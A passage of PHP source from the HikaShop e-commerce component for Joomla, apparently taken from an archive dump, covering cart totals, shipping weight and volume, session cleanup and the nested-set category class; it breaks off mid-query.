					$shipping =& $cart->shipping;
					$currencyClass->processShippings($shipping);
					$cart->full_total =&
$currencyClass->addShipping($cart->shipping, $cart->full_total);
				}
			}

			$before_additional = !empty($cart->additional);

			$dispatcher->trigger('onAfterCartShippingLoad', array(
&$cart ) );

			if(!$before_additional && !empty($cart->additional)) {
				$currencyClass->addAdditionals($cart->additional,
$cart->additional_total, $cart->full_total, $currency_id);
				$cart->full_total =& $cart->additional_total;
			}

			if(bccomp($cart->full_total->prices[0]->price_value_with_tax,0,5)<=0){
				$cart->full_total->prices[0]->price_value_with_tax = 0;
				$cart->full_total->prices[0]->price_value = 0;
				if(isset($cart->full_total->prices[0]->taxes))
unset($cart->full_total->prices[0]->taxes);
			}

			$payment_id = $app->getUserState(
HIKASHOP_COMPONENT.'.payment_id');
			if(!empty($payment_id)){
				$cart->payment = $app->getUserState(
HIKASHOP_COMPONENT.'.payment_data');
				if(!empty($cart->payment)){
					$currencyClass = hikashop_get('class.currency');
					$payment =& $cart->payment;
					$payments = array(&$payment);
					$currencyClass->processPayments($payments);
					$currencyClass->addPayment($cart->payment,$cart->full_total);
					$cart->full_total=&$cart->payment->total;
				}
			}
		}

		if($additionalInfos){
			$app = JFactory::getApplication();
			$shipping_address=$app->getUserState(
HIKASHOP_COMPONENT.'.shipping_address',0);
			if(!empty($shipping_address)){
				$this->loadAddress($cart,$shipping_address);
			}
			$billing_address=$app->getUserState(
HIKASHOP_COMPONENT.'.billing_address',0);
			if($billing_address==$shipping_address){
				$cart->billing_address =& $cart->shipping_address;
			}else{
				if(!empty($billing_address)){
					$this->loadAddress($cart,$billing_address,'parent','billing');
				}
			}
			$this->calculateWeightAndVolume($cart);
		}

		return $cart;
	}

	function
addCharacteristics(&$element,&$mainCharacteristics,&$characteristics){
		$element->characteristics =
$mainCharacteristics[$element->product_id][0];
		if(is_array($element->characteristics) &&
count($element->characteristics)){
			foreach($element->characteristics as $k => $characteristic){
				if(!empty($mainCharacteristics[$element->product_id][$k])){
					$element->characteristics[$k]->default=end($mainCharacteristics[$element->product_id][$k]);
				}
			}
		}
		if(!empty($element->variants)){
			foreach($characteristics as $characteristic){
				foreach($element->variants as $k => $variant){
					if($variant->product_id==$characteristic->variant_product_id){
						$element->variants[$k]->characteristics[$characteristic->characteristic_parent_id]=$characteristic;
						$element->characteristics[$characteristic->characteristic_parent_id]->values[$characteristic->characteristic_id]=$characteristic;
					}
				}
			}
			foreach($element->variants as $j => $variant){
				$chars = array();
				if(!empty($variant->characteristics)){
					foreach($variant->characteristics as $k => $val){
						$i = 0;
						$ordering =
@$element->characteristics[$val->characteristic_parent_id]->ordering;
						while(isset($chars[$ordering])&& $i < 30){
							$i++;
							$ordering++;
						}
						$chars[$ordering] = $val;
					}
				}
				ksort($chars);
				$element->variants[$j]->characteristics=$chars;
			}
		}
	}

	function
loadAddress(&$order,$address,$loading_type='parent',$address_type='shipping'){
		$addressClass=hikashop_get('class.address');
		$name = $address_type.'_address';
		if(!is_object($order)) $order = new stdClass();
		$order->$name=$addressClass->get($address);
		if(!empty($order->$name)){
			$array = array(&$order->$name);
			$addressClass->loadZone($array,$loading_type);
			if(!empty($addressClass->fields)){
				$order->fields =& $addressClass->fields;
			}
		}
	}

	function calculateWeightAndVolume(&$order) {
		$order->volume = 0;
		$order->weight = 0;
		$order->total_quantity = 0;
		if(!empty($order->products)) {

			$volumeClass = hikashop_get('helper.volume');
			$weightClass = hikashop_get('helper.weight');
			$order->weight_unit = $weightClass->getSymbol();
			$order->volume_unit = $volumeClass->getSymbol();
			foreach($order->products as $k => $product) {
				if(!empty($order->products[$k]->cart_product_quantity)){
					if((!bccomp($product->product_length,0,5)||!bccomp($product->product_width,0,5)||!bccomp($product->product_height,0,5))
&& $product->cart_product_parent_id){
						foreach($order->products as $k2 => $product2){
							if($product2->cart_product_id==$product->cart_product_parent_id){
								$product->product_length =
$order->products[$k]->product_length = $product2->product_length;
								$product->product_width =
$order->products[$k]->product_width = $product2->product_width;
								$product->product_height =
$order->products[$k]->product_height = $product2->product_height;
								$product->product_dimension_unit =
$order->products[$k]->product_dimension_unit =
$product2->product_dimension_unit;
								break;
							}
						}
					}
					if(bccomp($product->product_length,0,5) &&
bccomp($product->product_width,0,5) &&
bccomp($product->product_height,0,5)){
						$order->products[$k]->product_volume =
$product->product_length * $product->product_width *
$product->product_height;
						$order->products[$k]->product_total_volume =
$order->products[$k]->product_volume *
$order->products[$k]->cart_product_quantity;
						$order->products[$k]->product_total_volume_orig =
$order->products[$k]->product_total_volume;
						$order->products[$k]->product_dimension_unit_orig =
$order->products[$k]->product_dimension_unit;
						$order->products[$k]->product_total_volume =
$volumeClass->convert($order->products[$k]->product_total_volume,
$product->product_dimension_unit);
						$order->products[$k]->product_dimension_unit =
$order->volume_unit;
						$order->volume +=
$order->products[$k]->product_total_volume;
					}
				}
			}
			foreach($order->products as $k => $product){
				if(!empty($order->products[$k]->cart_product_quantity)){
					if(!bccomp($product->product_weight,0,5) &&
$product->cart_product_parent_id){
						foreach($order->products as $k2 => $product2){
							if($product2->cart_product_id==$product->cart_product_parent_id){
								$product->product_weight =
$order->products[$k]->product_weight = $product2->product_weight;
								$product->product_weight_unit =
$order->products[$k]->product_weight_unit =
$product2->product_weight_unit;
								break;
							}
						}
					}
					if(bccomp($product->product_weight,0,5)){
						$order->products[$k]->product_weight_orig =
$product->product_weight;
						$order->products[$k]->product_weight_unit_orig =
$order->products[$k]->product_weight_unit;
						$order->products[$k]->product_weight =
$weightClass->convert($product->product_weight,$product->product_weight_unit);
						$order->products[$k]->product_weight_unit =
$order->weight_unit;
						$order->weight +=
$order->products[$k]->product_weight*$order->products[$k]->cart_product_quantity;
					}
					$order->total_quantity+=$order->products[$k]->cart_product_quantity;
				}
			}
		}
	}

	function delete(&$id, $cart_date='new'){
		$result = parent::delete($id);
		if($result && $cart_date == 'new'){
			$app = JFactory::getApplication();
			$app->setUserState( HIKASHOP_COMPONENT.'.cart_id', 0);
			$this->loadCart(0,true);
		}
		return $result;
	}

	function cleanCartFromSession(){
		$config =& hikashop_config();
		$app = JFactory::getApplication();
		$cart_id = $app->getUserState(
HIKASHOP_COMPONENT.'.cart_id');
		if($cart_id){
			$this->delete($cart_id);
		}
		$user = JFactory::getUser();
		if($user->guest){
			$app->setUserState( HIKASHOP_COMPONENT.'.user_id', 0);
		}
		$app->setUserState( HIKASHOP_COMPONENT.'.cart_id', 0);
		$app->setUserState( HIKASHOP_COMPONENT.'.coupon_code',
'');
		$app->setUserState( HIKASHOP_COMPONENT.'.cc_number',
'');
		$app->setUserState( HIKASHOP_COMPONENT.'.cc_month',
'');
		$app->setUserState( HIKASHOP_COMPONENT.'.cc_year',
'');
		$app->setUserState( HIKASHOP_COMPONENT.'.cc_CCV',
'');
		$app->setUserState( HIKASHOP_COMPONENT.'.cc_type',
'');
		$app->setUserState( HIKASHOP_COMPONENT.'.cc_owner',
'');
		$app->setUserState( HIKASHOP_COMPONENT.'.cc_valid', 0);
		$app->setUserState( HIKASHOP_COMPONENT.'.checkout_terms',
0);
		$app->setUserState(HIKASHOP_COMPONENT.'.display_ga', 1);

		$order_id = $app->getUserState(
HIKASHOP_COMPONENT.'.order_id');
		if($order_id){
			$class = hikashop_get('class.order');
			$order = $class->get($order_id);
			$db = JFactory::getDBO();
			$query = 'SELECT * FROM
'.hikashop_table('payment').' WHERE
payment_type='.$db->Quote($order->order_payment_method).'
AND payment_id='.$db->Quote($order->order_payment_id);
			$db->setQuery($query);
			$paymentData = $db->loadObjectList();
			$pluginsClass = hikashop_get('class.plugins');
			$pluginsClass->params($paymentData,'payment');
			$paymentOptions = reset($paymentData);
			if(!empty($paymentOptions->payment_params->return_url)){
				$app->redirect($paymentOptions->payment_params->return_url);
			}
		}
	}

	function convert($cart_id, $cart_type){
		$db = JFactory::getDBO();
		$app = JFactory::getApplication();
		$user = JFactory::getUser();
		$session = JFactory::getSession();
		if($cart_type == 'cart'){
			$cart_type = 'wishlist';
			$query = 'UPDATE '.hikashop_table('cart').' SET
cart_type = '.$db->quote($cart_type).', cart_current = 0 WHERE
cart_id = '.(int)$cart_id;
			$db->setQuery($query);
			$result = $db->query();
		}else{
			$cart_type = 'cart';
			$query = 'SELECT * FROM
'.hikashop_table('cart_product').' WHERE cart_id =
'.(int)$cart_id;
			$db->setQuery($query);
			$cartProducts = $db->loadObjectList();

			$cart_id =
$app->getUserState(HIKASHOP_COMPONENT.'.'.$cart_type.'_id',0,'int');
			if($cart_id == 0){
				$newCart = new stdClass();
				$newCart->user_id = $user->id;
				$newCart->session_id = $session->getId();
				$newCart->cart_modified = time();
				$newCart->cart_type = 'cart';
				$cart_id = $this->save($newCart);
				$app->setUserState(HIKASHOP_COMPONENT.'.cart_id',$cart_id);
			}
			$fields=array();
			$values=array();
			$list=array();
			foreach($cartProducts as $products){
				$products->cart_id = $cart_id;
				$products->cart_product_modified = time();
				foreach($products as $k => $data){
					$fields[] = $k;
					$values[] = $data;
				}
				$list[]='('.implode(',',$values).')';
			}
				$query = 'INSERT IGNORE INTO
'.hikashop_table('cart_product').'
('.implode(',',$fields).') VALUES
'.implode(',',$list);
				$db->setQuery($query);
				$result = $db->Query();
		}
		if($app->getUserState(HIKASHOP_COMPONENT.'.'.$cart_type.'_id','0')
== $cart_id){
			$app->setUserState(HIKASHOP_COMPONENT.'.'.$cart_type.'_id','0');
		}
		return $result;
	}

	function setCurrent($cart_id = '0', $cart_type =
'cart'){
		$db = JFactory::getDbo();
		$user = JFactory::getUser();
		$session = JFactory::getSession();
		$sessionToken =
$session->get('session.token','');
		if($cart_id != '0'){
			$query='UPDATE '.hikashop_table('cart').' SET
cart_current = 1 WHERE cart_id = '.(int)$cart_id;
			$db->setQuery($query);
			$db->query();
		}
		$query='UPDATE '.hikashop_table('cart').' SET
cart_current = 0 WHERE (user_id='.(int)$user->id.' OR
session_id='.$db->quote($sessionToken).') AND
cart_type='.$db->quote($cart_type).' AND cart_id !=
'.(int)$cart_id;
		$db->setQuery($query);
		$result = $db->query();
		return $result;
	}

	function checkSubscription($cart){
		$app = JFactory::getApplication();
		JPluginHelper::importPlugin( 'hikashop' );
		$pluginsClass = hikashop_get('class.plugins');
		$dispatcher = JDispatcher::getInstance();

		$pluginName = '';
		$dispatcher->trigger('onCheckSubscritpionPlugin', array(
&$pluginName ) );
		if(!empty($pluginName)){
			$plugin =
$pluginsClass->getByName('hikashop',$pluginName);
		}
		if(!isset($plugin->params['manysubscriptions']) ||
empty($plugin->params['manysubscriptions'])){
			$plugin->params['manysubscriptions'] = 0;
		}

		$i = 0;
		$recurring = 0;
		$noRecurring = 0;
		$subLevel = array();
		$durations = array();
		$paymentType = 'no';
		$oldProduct = null;
		$totalProducts = 0;
		if(isset($cart->products) && $cart->products != null){
			foreach($cart->products as $product){
				if(!isset($product->product_subscription_id) ||
$product->product_subscription_id == '0'){
					$noRecurring++;
				}else{
					$subLevel[$i] = $product->product_subscription_id;
					$recurring++;
				}
				$i++;
				$totalProducts += $product->cart_product_quantity;
				if(isset($oldProduct->product_type) && 
$oldProduct->product_type == 'main' &&
$product->product_type == 'variant'){
					$noRecurring--;
					$recurring--;
				}
				$oldProduct = $product;
			}
		}
		if(empty($subLevel)){
			$paymentType = 'noRecurring';
		}
		else if((int)$plugin->params['manysubscriptions'] == 0
&& $totalProducts > 1 && $recurring > 1){
			$enqueueMessage	= JText::_('HIKA_RECUR_ONE_SUBS_ALLOWED');
		}
		else{
			$dispatcher->trigger('onCheckSubscription', array(
&$subLevel,&$subs ) );
			$recurring = 0;
			$i = 0;
			if(isset($subs) && !empty($subs)){
				foreach($subs as $value){
					if(isset($value->recurring) && $value->recurring ==
'1'){
						$durations[$i] = $value->duration;
						$recurring++;
					}
					$i++;
				}
			}
			if($recurring == 0){
				$paymentType = 'noRecurring';

			}
			else{
				if($noRecurring == 0 && $recurring == 1 && $i == 1){
					$paymentType = 'recurring';
				}
				else if($noRecurring == 0 && $recurring == $i){
					$sameDuration = 0;
					$durations = array_unique($durations);
					$sameDuration = array_key_exists('1', $durations);

					if($sameDuration == 1){
						$enqueueMessage	= JText::_('HIKA_RECUR_DURATION_TIME');
					}
					else{
						$paymentType = 'recurring';
					}
				}
				else if(($noRecurring >= 1 && $recurring >=1) ||
($recurring >= 1 && $recurring <= $i)){
					$enqueueMessage	= JText::_('HIKA_RECUR_BOTH_PRODUCT_TYPE');
				}
			}
		}
		if(!empty($enqueueMessage)){
			if($app->getUserState(HIKASHOP_COMPONENT.'.reccur_message',
0) == 0){
				$app->enqueueMessage($enqueueMessage);
				$app->setUserState(HIKASHOP_COMPONENT.'.reccur_message',
1);
			}else{
				$app->setUserState(HIKASHOP_COMPONENT.'.reccur_message',
0);
			}
		}
		return $paymentType;
	}
}
category.php000064400000061633151160302610007076 0ustar00<?php
/**
 * @package	HikaShop for Joomla!
 * @version	2.2.3
 * @author	hikashop.com
 * @copyright	(C) 2010-2013 HIKARI SOFTWARE. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php
class hikashopCategoryClass extends hikashopClass{
	var $tables =
array('taxation','product_category','category');
	var $pkeys =
array('','category_id','category_id');
	var $namekeys =
array('category_namekey','','');
	var $parent = 'category_parent_id';
	var $toggle =
array('category_published'=>'category_id');
	var $type = 'product';
	var $query = '';
	var $parentObject = '';

	function setType($type){
		$this->type = $type;
	}

	function get($element,$withimage=false){
		if(in_array($element,array('product','status','tax','manufacturer'))){
			$this->getMainElement($element);
		}
		if($withimage){
			$query = 'SELECT a.*,b.* FROM
'.hikashop_table(end($this->tables)).' AS a LEFT JOIN
'.hikashop_table('file').' AS b ON
a.category_id=b.file_ref_id AND b.file_type=\'category\' WHERE
a.category_id = '.(int)$element.' LIMIT 1';
			$this->database->setQuery($query);
			return $this->database->loadObject();
		}

		return parent::get($element);
	}

	function addAlias(&$element){
		if(empty($element->category_alias)){
			$element->alias = $element->category_name;
		}else{
			$element->alias = $element->category_alias;
		}
		$config = JFactory::getConfig();
		if(!$config->get('unicodeslugs')){
			$lang = JFactory::getLanguage();
			$element->alias = $lang->transliterate($element->alias);
		}
		$app = JFactory::getApplication();
		if(method_exists($app,'stringURLSafe')){
			$element->alias =
$app->stringURLSafe(strip_tags($element->alias));
		}else{
			$element->alias =
JFilterOutput::stringURLSafe(strip_tags($element->alias));
		}
	}

	function saveForm(){

		$category_id = hikashop_getCID('category_id');
		if($category_id){
			$oldCategory = $this->get($category_id);
		}
		$fieldsClass = hikashop_get('class.field');
		$element = $fieldsClass->getInput('category',$oldCategory);
		if(empty($element)){
			return false;
		}

		$main = JRequest::getVar( 'main_category', 0, '',
'int' );
		if($main){
			$element->category_parent_id = 0;
		}else{
			$element->category_type='';
		}
		$category_description =
JRequest::getVar('category_description','','','string',JREQUEST_ALLOWRAW);
		$element->category_description = $category_description;
		$class = hikashop_get('helper.translation');
		$class->getTranslations($element);
		$status = $this->save($element);

		if(!$status){
			JRequest::setVar( 'fail', $element  );
		}else{
			$class->handleTranslations('category',$status,$element);
			$class = hikashop_get('class.file');
			$class->storeFiles('category',$status);
		}
		return $status;
	}

	function save(&$element,$ordering=true){
		$pkey = end($this->pkeys);
		$table = hikashop_table(end($this->tables));
		$recalculate = false;
		$new = true;
		if(!empty($element->$pkey)){
			$new = false;
			$old = $this->get($element->$pkey);

			if(isset($element->category_parent_id)){
				$newParentElement = $this->get($element->category_parent_id);
				if( $old->category_parent_id != $element->category_parent_id){

					if($element->category_parent_id == $element->$pkey){
						return false;
					}

					if(($newParentElement->category_left > $old->category_left)
&& ($newParentElement->category_right <
$old->category_right)){
						return false;
					}
					$recalculate = true;
				}
				if(!empty($newParentElement->category_type)&&$newParentElement->category_type!='root'){
					$element->category_type = $newParentElement->category_type;
				}
				if(!empty($element->category_site_id) &&
$newParentElement->category_type=='root'){
					$element->category_site_id = '';
				}
			}
			if(empty($element->category_type)){
				if(!empty($old->category_type)){
					if($old->category_type=='root'){

						$element->category_type = $this->type;
					}else{
						$element->category_type = $old->category_type;
					}
				}else{
					$element->category_type = $this->type;
				}
			}
			$element->category_modified=time();
		}else{
			if(empty($element->category_parent_id)){
				$query='SELECT category_id FROM
'.hikashop_table('category').' WHERE
category_type=\'root\' LIMIT 1;';
				$this->database->setQuery($query);
				$element->category_parent_id=$this->database->loadResult();
				$element->category_namekey=$element->category_type;
				$element->category_depth = 1;
			}
			$newParentElement = $this->get($element->category_parent_id);
			if(empty($element->category_type) &&
$newParentElement->category_type!='root'){
				$element->category_type = $newParentElement->category_type;
			}

			if(empty($element->category_type)){
				$element->category_type = $this->type;
			}

			if(empty($element->category_site_id) &&
$newParentElement->category_type!='root'){
				$element->category_site_id =
$newParentElement->category_site_id;
			}

			$element->category_created=$element->category_modified=time();
			if(empty($element->category_namekey)){
				$element->category_namekey=$newParentElement->category_type.'_'.$element->category_created.'_'.rand();
			}
			if(!isset($element->category_published)){
				$element->category_published = 1;
			}

		}
		JPluginHelper::importPlugin( 'hikashop' );
		$dispatcher = JDispatcher::getInstance();
		$do = true;
		if($new){
			$dispatcher->trigger( 'onBeforeCategoryCreate', array(
& $element, & $do) );
		}else{
			$dispatcher->trigger( 'onBeforeCategoryUpdate', array(
& $element, & $do) );
		}
		if(!$do){
			return false;
		}

		$status = parent::save($element);

		if(!$status){
			return false;
		}
		if($new){
			$dispatcher->trigger( 'onAfterCategoryCreate', array( &
$element ) );
		}else{
			$dispatcher->trigger( 'onAfterCategoryUpdate', array( &
$element, ) );
		}

		if(empty($element->$pkey)){
			$element->$pkey = $status;
			if($ordering){
				$orderClass = hikashop_get('helper.order');
				$orderClass->pkey = 'category_id';
				$orderClass->table = 'category';
				$orderClass->groupMap = 'category_parent_id';
				$orderClass->groupVal = $element->category_parent_id;
				$orderClass->orderingMap = 'category_ordering';
				$orderClass->reOrder();
			}
		}
		$filter = '';
		if($new){
			$query = 'UPDATE '.$table.' SET category_right =
category_right + 2 WHERE category_right >=
'.$newParentElement->category_right.$filter;
			$this->database->setQuery($query);
			$this->database->query();
			$query = 'UPDATE '.$table.' SET category_left =
category_left + 2 WHERE category_left >=
'.$newParentElement->category_right.$filter;
			$this->database->setQuery($query);
			$this->database->query();
			$query = 'UPDATE '.$table.' SET category_left =
'.$newParentElement->category_right.', category_right =
'.($newParentElement->category_right+1).', category_depth =
'.($newParentElement->category_depth+1).' WHERE
'.$pkey.' = '.$status.' LIMIT 1';
			$this->database->setQuery($query);
			$this->database->query();
		}elseif($recalculate){
			$query = 'SELECT
category_left,category_right,category_depth,'.$pkey.',category_parent_id
FROM '.$table.$filter.' ORDER BY category_left ASC';
			$this->database->setQuery($query);
			$categories = $this->database->loadObjectList();
			$root = null;
			$this->categories = array();
			foreach($categories as $cat){
				$this->categories[$cat->category_parent_id][]=$cat;
				if(empty($cat->category_parent_id)){
					$root = $cat;
				}
			}

			$this->rebuildTree($root,0,1);

			if($element->category_type=='status' &&
!empty($old->category_type)){
				$this->database->setQuery('UPDATE
'.hikashop_table('config').' SET config_value =
REPLACE(config_value,'.$this->database->Quote($old->category_type).','.$this->database->Quote($element->category_type).')');
				$this->database->query();
				$this->database->setQuery('UPDATE
'.hikashop_table('payment').' SET payment_params =
REPLACE(payment_params,'.$this->database->Quote(strlen($old->category_type).':"'.$old->category_type).','.$this->database->Quote(strlen($element->category_type).':"'.$element->category_type).')');
				$this->database->query();
			}

		}
		return $status;
	}

	function delete(&$elements){
		if(!is_array($elements)){
			$elements = array($elements);
		}
		JArrayHelper::toInteger($elements);
		$status = true;
		$pkey = end($this->pkeys);
		$table = hikashop_table(end($this->tables));
		$parent = $this->parent;

		$parentIds = array();

		$ids = array();

		$products=array();

		JPluginHelper::importPlugin( 'hikashop' );
		$dispatcher = JDispatcher::getInstance();
		$do=true;
		$dispatcher->trigger( 'onBeforeCategoryDelete', array( &
$elements, & $do) );
		if(!$do){
			return false;
		}

		foreach($elements as $element){
			if(!$status) continue;
			$data = $this->get($element);
			if(empty($data)) continue;
			if(in_array($data->category_namekey,array('root','product','tax','status','created','confirmed','cancelled','refunded','shipped','manufacturer'))){
				$app = JFactory::getApplication();
				$app->enqueueMessage(JText::_('DEFAULT_CATEGORIES_DELETE_ERROR'),'error');
				$status=false;
				continue;
			}

			$ids[]=$element;
			$parentIds[$data->category_parent_id]=$data->category_parent_id;

			if($data->category_type=='product'){
				$query = 'SELECT product_id FROM
'.hikashop_table('product_category').' WHERE
category_id='.$element;
				$this->database->setQuery($query);
				if(!HIKASHOP_J25){
					$products =
array_merge($products,$this->database->loadResultArray());
				} else {
					$products =
array_merge($products,$this->database->loadColumn());
				}
			}

			if(!empty($data->category_type)){
				$this->type = $data->category_type;
			}
			$filter = '';

			if($data->category_right - $data->category_left != 1 ){
				$query = 'UPDATE '.$table.' SET '.$parent.' =
'.$data->$parent.' WHERE '.$parent.' =
'.$element;
				$this->database->setQuery($query);
				$status = $status && $this->database->query();

				$query = 'UPDATE '.$table.' SET category_depth =
category_depth-1, category_left=category_left-1,
category_right=category_right-1 WHERE category_left >
'.$data->category_left.' AND category_right <
'.$data->category_right.$filter;
				$this->database->setQuery($query);
				$status = $status && $this->database->query();
			}//endif

			$query = 'UPDATE '.$table.' SET
category_right=category_right-2 WHERE category_right >
'.$data->category_right.$filter;
			$this->database->setQuery($query);
			$status = $status && $this->database->query();

			$query = 'UPDATE '.$table.' SET
category_left=category_left-2 WHERE category_left >
'.$data->category_right.$filter;
			$this->database->setQuery($query);
			$status = $status && $this->database->query();

			$status = $status && parent::delete($element);
		}

		if($status){
			$dispatcher->trigger( 'onAfterCategoryDelete', array( &
$elements ) );

			if(!empty($parentIds)){
				$orderClass = hikashop_get('helper.order');
				$orderClass->pkey = 'category_id';
				$orderClass->table = 'category';
				$orderClass->groupMap = 'category_parent_id';
				$orderClass->orderingMap = 'category_ordering';
				foreach($parentIds as $parentId){
					$orderClass->groupVal = $parentId;
					$orderClass->reOrder();
				}
			}

			if(!empty($products)){
				$query='SELECT * FROM
'.hikashop_table('product_category').' WHERE product_id
IN ('.implode(',',$products).')';
				$this->database->setQuery($query);
				$entries=$this->database->loadObjectList();
				foreach($entries as $entry){
					if(in_array($entry->product_id,$products)){
						$key = array_search($entry->product_id,$products);
						unset($products[$key]);
					}
				}
				if(!empty($products)){
					$root = 'product';
					$this->getMainElement($root);
					$insert = array();
					foreach($products as $new){
						$insert[]='('.(int)$root.','.$new.')';
					}
					$query = 'INSERT IGNORE INTO
'.hikashop_table('product_category').'
(category_id,product_id) VALUES
'.implode(',',$insert).';';
					$this->database->setQuery($query);
					$this->database->query();
					$orderClass = hikashop_get('helper.order');
					$orderClass->pkey = 'product_category_id';
					$orderClass->table = 'product_category';
					$orderClass->groupMap = 'category_id';
					$orderClass->orderingMap = 'ordering';
					$orderClass->groupVal = $root;
					$orderClass->reOrder();
				}
			}

			$class = hikashop_get('class.file');
			$class->deleteFiles('category',$elements);
			$class = hikashop_get('helper.translation');
			$class->deleteTranslations('category',$elements);
		}
		return $status;
	}

	function getRoot(){
		static $id = 0;
		if(empty($id)){
			$this->database->setQuery('SELECT category_id FROM
'.hikashop_table('category').' WHERE
category_type=\'root\' LIMIT 1');
			$id = $this->database->loadResult();
		}
		return $id;
	}

	function getMainElement(&$element){
		$query = 'SELECT category_id FROM
'.hikashop_table('category').' WHERE
category_parent_id='.$this->getRoot().' AND
category_type='.$this->database->Quote($element).' LIMIT
1';
		$this->database->setQuery($query);
		$element = (int)$this->database->loadResult();
	}

	function getChilds($element,
$all=false,$additionalFilters=array(),$order='',$start=0,$value=20,$category_image=false,$select
= 'a.*'){
		return
$this->getChildren($element,$all,$additionalFilters,$order,$start,$value,$category_image,$select);
	}

	function getChildren($element,
$all=false,$additionalFilters=array(),$order='',$start=0,$value=20,$category_image=false,$select
= 'a.*'){
		$filters = array();
		$this->category_used = null;

		if(empty($element)){
			$element=$this->getRoot();
		}

		if(is_array($element)){

			if(count($element)>1){
				if($all){
					$this->database->setQuery('SELECT
category_left,category_right FROM
'.hikashop_table('category').' WHERE category_id IN
('.implode(',',$element).')');
					$leafs = $this->database->loadObjectList();
					$conditions = array();
					foreach($leafs as $v){
						$conditions[] = '(a.category_left >
'.$v->category_left.' AND a.category_right <
'.$v->category_right.')';
					}
					$filters[] = '('.implode(' OR
',$conditions).')';
					$this->type=0;
				}else{
					foreach($element as $k => $v){
						$element[$k]=(int)$v;
					}

					$filters[] = 'a.category_parent_id IN
('.implode(',',$element).')';
					$this->type=0;
				}
			}else{
				$element = (int) array_pop($element);
			}
		}elseif(!is_numeric($element)){
			$this->getMainElement($element);
		}
		if(is_numeric($element)){
			if($all){
				$data = $this->get($element);
				if(!empty($data)){
					if ( ($data->category_left +1) == $data->category_right ) return
array();
					$filters[] = 'a.category_left >
'.$data->category_left;
					$filters[] = 'a.category_right <
'.$data->category_right;
					if(!empty($data->category_type) && $data->category_type
!= 'root'){
						$this->type = $data->category_type;
					}
				}
			}else{
				$filters[] = 'a.category_parent_id = '.$element;
				$this->type=0;
			}
		}elseif(!is_array($element)){
			$this->type = $element;
		}
		if(is_numeric($element)){
			$this->category_used = $element;
		}elseif(is_array($element)){
			$this->category_used = (int) array_pop($element);
		}

		if(!empty($this->type)){
			if($this->type == 'product')
				$filters[] = '(a.category_type =
'.$this->database->Quote($this->type).' OR
a.category_type =
'.$this->database->Quote('vendor').')';
			else
				$filters[] = 'a.category_type =
'.$this->database->Quote($this->type);
		}
		if(!empty($additionalFilters)){
			$filters = array_merge($filters,$additionalFilters);
		}
		$leftjoin = '';


		$app = JFactory::getApplication();
		if(!$app->isAdmin()){
			$filters[]='a.category_published=1';
			hikashop_addACLFilters($filters,'category_access','a');
		}

		JPluginHelper::importPlugin( 'hikashop' );
		$dispatcher = JDispatcher::getInstance();
		$dispatcher->trigger( 'onBeforeCategoryListingLoad', array(
& $filters, &$order, &$this->parentObject) );
		if(!empty($filters)){
			$filters = ' WHERE '.implode(' AND ',$filters);
		}else{
			$filters = '';
		}

		$this->query = ' FROM
'.hikashop_table(end($this->tables)).' AS a'.$filters;
		$this->database->setQuery('SELECT '.$select.' FROM
'.hikashop_table(end($this->tables)).' AS
a'.$leftjoin.$filters.$order,(int)$start,(int)$value);
		$rows = $this->database->loadObjectList();
		if($category_image && !empty($rows)){
			$ids = array();
			foreach($rows as $row){
				$ids[]=$row->category_id;
			}
			$this->database->setQuery('SELECT * FROM
'.hikashop_table('file').' WHERE
file_type=\'category\' AND file_ref_id IN
('.implode(',',$ids).')');
			$images = $this->database->loadObjectList();

			foreach($rows as $k => $cat){
				if(!empty($images)){
					foreach($images as $img){
						if($img->file_ref_id==$cat->category_id){
							foreach(get_object_vars($img) as $key => $val){
								$rows[$k]->$key = $val;
							}
							break;
						}
					}
				}
				if(!isset($rows[$k]->file_name)){
					$rows[$k]->file_name = $row->category_name;
				}
			}
		}
		return $rows;
	}

	function
loadAllWithTrans($type='',$all=false,$filters=array(),$order='
ORDER BY category_ordering
ASC',$start=0,$value=500,$category_image=false){
		static $data = array();
		static $queries = array();
		if(is_array($type)) $typeQ = implode('_',$type);
		else $typeQ = $type;
		$key =
$typeQ.'_'.(int)$all.'_'.$order.'_'.implode('_',$filters).'_'.$start.'_'.$value.'_'.(int)$category_image;
		if(!isset($data[$key])){
			$rows =
$this->getChilds($type,$all,$filters,$order,$start,$value,$category_image);
			$queries[$key]=$this->query;
			if(!empty($rows)){
				$ids = array();
				foreach($rows as $id => $oneRow){
					$ids[]=$oneRow->category_id;
				}
				$translationHelper = hikashop_get('helper.translation');
				if($translationHelper->isMulti()){
					$user = JFactory::getUser();
					$locale = $user->getParam('language');
					if(empty($locale)){
						$config = JFactory::getConfig();
						if(!HIKASHOP_J16){
							$locale = $config->getValue('config.language');
						} else {
							$locale = $config->get('language');
							if($locale === null)
								$locale = $config->get('config.language');
						}
					}
					$lgid = $translationHelper->getId($locale);
					$trans_table = 'jf_content';
					if($translationHelper->falang){
						$trans_table = 'falang_content';
					}
					$query = 'SELECT * FROM
'.hikashop_table($trans_table,false).' AS b WHERE b.reference_id
IN ('.implode(',',$ids).') AND
b.reference_table=\'hikashop_category\' AND
b.reference_field=\'category_name\' AND b.published=1 AND
b.language_id='.$lgid;
					$this->database->setQuery($query);
					$translations = $this->database->loadObjectList();
					if(!empty($translations)){
						foreach($translations as $translation){
							foreach($rows as $k => $row){
								if($row->category_id==$translation->reference_id){
									$rows[$k]->translation = $translation->value;
									break;
								}
							}
						}
					}
				}
				foreach($rows as $k => $category){
					if(!isset($category->translation)){
						$val = str_replace(array('
',','),'_',strtoupper($category->category_name));
						$rows[$k]->translation = JText::_($val);
						if($val==$rows[$k]->translation){
							$rows[$k]->translation = $category->category_name;
						}
					}
				}

			}
			$data[$key] =& $rows;
		}else{
			$this->query=$queries[$key];
		}
		return $data[$key];
	}

	function getParents( $element ,$exclude=0){
		if(empty($element)) return array();
		static $results = array();
		$key = sha1(serialize($element).'_'.$exclude);
		if(!isset($results[$key])){
			$where='';
			if($exclude){
				$el = $this->get($exclude);
				if($el){
					$where=' AND
b.category_left>='.$el->category_left.' AND
b.category_right<='.$el->category_right;
				}else{
					$where=' AND b.category_id!='.(int)$exclude;
				}
			}
			if(is_array($element)){
				$and='AND a.category_id IN (';
				foreach($element as $cat){
					if(is_object($cat)){
						$and.=(int)$cat->category_id.',';
					}else{
						$and.=(int)$cat.',';
					}
				}
				$and=substr($and,0,-1);
				$and.=')';
			}else{
				$and='AND a.category_id='.(int)$element;
			}
			$query = 'SELECT b.* FROM
'.hikashop_table(end($this->tables)).' AS a LEFT JOIN '.
			hikashop_table(end($this->tables)).' AS b ON a.category_left
